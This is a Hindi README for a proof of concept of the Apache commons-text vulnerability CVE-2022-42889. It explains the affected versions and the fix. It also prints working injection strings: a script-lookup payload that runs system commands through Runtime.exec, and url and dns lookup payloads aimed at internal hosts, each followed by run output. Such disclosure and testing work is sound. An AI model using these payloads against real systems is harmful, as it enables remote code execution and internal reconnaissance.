
Apache commons-text भेद्यता CVE-2022-42889 के लिए प्रमाण-अवधारणा
यह भेद्यता CVE-2022-42889 के लिए प्रूफ ऑफ कॉन्सेप्ट है। यह कोड जावास्क्रिप्ट कोड 195 + 324 को चलाएगा। यदि भेद्य है तो आउटपुट होना चाहिए:
PoC Output: 519
इसे चलाने के लिए आपको आवश्यकता होगी:
जब शोषण स्ट्रिंग के लिए संकेत दिया जाए, तो आप या तो अपनी खुद की शोषण स्ट्रिंग प्रदान कर सकते हैं (और स्ट्रिंग दर्ज करने के लिए Enter दबाएं), या बस ${script:javascript:195 + 324} के डिफ़ॉल्ट शोषण स्ट्रिंग का उपयोग करने के लिए Enter दबाएं।
वैकल्पिक रूप से आप इस PoC को चलाने के लिए Docker का उपयोग कर सकते हैं:
docker build -t poc .
docker run -it poc
समस्या इस तथ्य से उत्पन्न होती है कि निम्नलिखित कुंजियों को डिफ़ॉल्ट रूप से इंटरपोलेट नहीं किया जाना चाहिए (दस्तावेज़ीकरण के अनुसार https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):
scriptdnsurlयह लुकअप आपूर्ति किए गए जावास्क्रिप्ट कोड को निष्पादित करने की अनुमति देता है। इसका परिणाम यह है कि हमलावर सिस्टम पर मनमाना कोड निष्पादित करने में सक्षम हो जाता है।
${script:<engine>:<code>}
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
Example in PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================
यह लुकअप निर्दिष्ट url को कॉल करता है। एक हमलावर आंतरिक संसाधनों पर बुनियादी GET अनुरोध करने के लिए इसका लाभ उठा सकता है।
${url:<character-encoding>:<url>}
${url:UTF-8::https://internal-jenkins.companyx.net/}
Example in PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================
यह लुकअप DNS क्वेरी, या रिवर्स लुकअप करता है। यह एक हमलावर को आंतरिक संसाधनों की पहचान करने में सक्षम बना सकता है।
${dns:<address,canonical-name,name>|<host>}
${dns:address|internal-jenkins.companyx.net}
Example in PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${dns:address|www.google.com}
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================
हालांकि, तर्क में एक दोष के कारण, ये 3 कुंजियाँ डिफ़ॉल्ट रूप से इंटरपोलेट की जाती हैं, जबकि उन्हें नहीं करना चाहिए (क्योंकि वे एक सुरक्षा जोखिम का प्रतिनिधित्व कर सकते हैं)।
एक हमलावर जो प्रभावित StringSubstitutor रिप्लेस में पास की गई स्ट्रिंग पर नियंत्रण रखता है, वह हमलावर को अनुमति दे सकता है:
StringSubstitutor कोड निष्पादित करने वाले सिस्टम (आमतौर पर एक सर्वर) पर जावास्क्रिप्ट कोड चलानाआपके कोड के भेद्य होने के लिए आपको आवश्यकता है:
Apache commons-text का संस्करण 1.5.0 से 1.10.0 तक (लेकिन 1.10.0 को शामिल नहीं) चला रहे हों
अपने StringSubstitution के लिए Interpolation का उपयोग कर रहे हों (देखें https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)
ध्यान दें कि JDK 15 और बाद में जावास्क्रिप्ट इंजन Nashorn शामिल नहीं है। हालांकि, JEXL इंजन अभी भी शामिल है और परिणामस्वरूप RCE अभी भी संभव हो सकता है।
(rgmz को इस उजागर करने के लिए सराहना)
इसका समाधान आपके commons-text के इंस्टेंस को संस्करण 1.10.0 या बाद में अपडेट करना है।
अन्य डिफ़ॉल्ट लुकअप संभावित रूप से अभी भी एक सुरक्षा जोखिम का प्रतिनिधित्व कर सकते हैं (जैसे फ़ाइलों की सामग्री पढ़ने, सिस्टम गुण पढ़ने आदि की क्षमता)। इस सुविधा का सावधानी से उपयोग करें और सुनिश्चित करें कि सभी उपयोगकर्ता इनपुट उचित रूप से स्वच्छ किया गया है (उदाहरण के लिए अनुमति सूची से गुजरना)।